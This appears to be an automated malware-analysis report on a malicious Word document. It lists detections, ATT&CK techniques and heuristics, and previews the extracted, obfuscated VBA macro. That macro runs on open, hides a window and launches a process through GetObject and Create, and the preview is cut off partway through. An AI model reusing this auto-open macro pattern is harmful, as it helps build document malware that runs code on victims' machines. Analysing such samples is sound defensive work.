MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample is a malicious Office document containing a VBA macro. The macro utilizes the GetObject function and is triggered by the autoopen event, indicating an attempt to execute a payload. The presence of legacy WordBasic auto-exec markers and the ClamAV detection further support its malicious nature. No specific family could be identified.
Heuristics 7
-
ClamAV: Doc.Malware.Dsfj-6905983-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Dsfj-6905983-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 16227 bytes |
SHA-256: dc0519f9e44afb8af0cf321236fc5f49fdd92746895a2f326a258423cb9af831 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "NDUZUDCX"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "uADBDXA"
Attribute VB_Base = "0{62B38C25-0033-49F3-95EC-0D158EFCAC20}{E879B163-C867-4F25-BE54-66A3D203E365}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "SXQAABA1"
Sub autoopen()
On Error Resume Next
If RxAXAUAw = EDkGAAG Then
UQZAQGA = CVar(zXokQDB4)
IADAUUBD = (576192634 + Rnd(sxBAAA * _
Tan(817546507 / Chr(694792892 / CDbl(OBBAA4C) * GAUCQGxD / CDbl(115013455)))) * 929362638 * _
Atn(185010481 / Oct(577043154) - 584557656 * Int(EXxD_AAA)) * (408989228 - Atn(DAAGA4AA)))
IDDD1Q = Int(wCUcAXBB - _
RDo1Ao4w - 226360544 * Int(454976054))
End If
If TUkk_o4x = hACUAG Then
uBAxQAk = CVar(aBXXkcx)
zQAAUXB = (521631067 + Rnd(kAAoC4 * _
Tan(335676917 / Chr(618771184 / CDbl(s_xQZDA) * aACAUUoB / CDbl(93545512)))) * 440545931 * _
Atn(230000577 / Oct(478677533) - 27817860 * Int(wAXcA4)) * (793475847 - Atn(wB_ZxAAA)))
cQQUAADx = Int(EBAACA - _
JAAUAAZB - 252257116 * Int(377270864))
End If
Set SQoZAUx = GetObject(uADBDXA.Tag + uADBDXA.iA1ABA + uADBDXA.Tag)
If hZQAAZ = BwAAxooA Then
QGGUAowA = CVar(jUDBwQw)
z1c1AG1 = (819898664 + Rnd(HkA4UA * _
Tan(191873040 / Chr(518680706 / CDbl(hBoQADAA) * LGAAQGDU / CDbl(403455394)))) * 728290244 * _
Atn(343196557 / Oct(70412021) - 788433310 * Int(UcAUAxAc)) * (282186035 - Atn(V_BAxk)))
sZDxAxA = Int(aZBAAU - _
rQBACG_ - 887129434 * Int(413822518))
End If
If RZAxUQBD = bAAADAU4 Then
IxABAA_A = CVar(uABXBZ)
nBAABQ = (204962268 + Rnd(W__BA1 * _
Tan(790422674 / Chr(782861991 / CDbl(icA1AwQ) * JcU4A_BQ / CDbl(313060419)))) * 516427559 * _
Atn(167080347 / Oct(651402165) - 377029053 * Int(B_UZA_A)) * (392677203 - Atn(SACQZA)))
V4AAoAD = Int(YAAG1AX - _
qAQAkBA - 451669066 * Int(387949183))
End If
If lkxQZ4 = GBcX1ZAA Then
pAADoAAA = CVar(kcACAx)
KAUGAAcA = (6935806 + Rnd(JAA4ZBXB * _
Tan(362992223 / Chr(251031369 / CDbl(CAoXA1A) * RUQxAk / CDbl(379090451)))) * 311304871 * _
Atn(363025981 / Oct(537440431) - 245356808 * Int(UDDDQUA)) * (443157426 - Atn(W1AABAB)))
zBBBD4AA = Int(zUQXZA - _
qQAZBQ - 773443399 * Int(105893380))
End If
SQoZAUx.ShowWindow = 395720 - 395720
If rAUXQkB = vcQG_BA Then
qkDCAAD = CVar(V1cxZU)
JxGAABc = (814419617 + Rnd(PQwkxkAA * _
Tan(811472046 / Chr(401854879 / CDbl(pDCoAQ4) * rDcU1c4 / CDbl(921402853)))) * 567870954 * _
Atn(105398717 / Oct(145778895) - 470249302 * Int(Dc11B14o)) * (905106526 - Atn(MBoxkwwU)))
JwUAAAc = Int(moB1oA - _
mBoC_AB - 58639675 * Int(424431816))
End If
If kQAX_A = IAAocUQA Then
pk1xcZ = CVar(jAXoAZA)
PUXA_BkA = (225453594 + Rnd(DUAZAQ * _
Tan(832509865 / Chr(294577182 / CDbl(qCAxCGA) * wAAcwAxU / CDbl(328317304)))) * 262810570 * _
Atn(172162060 / Oct(218266851) - 742934805 * Int(Tc1UwUGc)) * (695760409 - Atn(XQAZXZQ)))
VAAZAA = Int(BUADQUG - _
wACAGUo - 759872395 * Int(978132304))
End If
GetObject(uADBDXA.Tag + uADBDXA.mADAAUA + uADBDXA.Tag). _
Create uADBDXA.Tag + uADBDXA.ZUAXAc + uADBDXA.Tag + uADBDXA.XkACCk_ + uADBDXA.Tag + uADBDXA.Tag + uADBDXA.l_CAAoQA + uADBDXA.Tag + uADBDXA.Tag + uADBDXA.icBCAk + uADBDXA.Tag + uADBDXA.UAZAQU + uADBDXA.Tag, EGUXwAAw, SQoZAUx, uADBDXA.Tag
If BBXAZcc = fUAQwAx Then
BX4UxAUA = CVar(b1xBkDBU)
iAADB__ = (999330111 + Rnd(tXAAQ4 * _
Tan(789064218 / Chr(628237637 / CDbl(lDAkDw4B) * jQQA11_ / CDbl(232173736)))) * 534254287 * _
Atn(560364071 / Oct(820053468) - 718684925 * Int(zAwBAZB)) * (948169022 - Atn(vZU4cA)))
TAAAAAA = Int(cDckcA - _
CcxQkB - 684539587 * Int(364866326))
End If
If jA1UAA = mDQkAQU Then
mZQAACZ = CVar(dUBxUQA_)
cc1DAQk = (517718310 + Rnd(NAxkCA * _
T
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.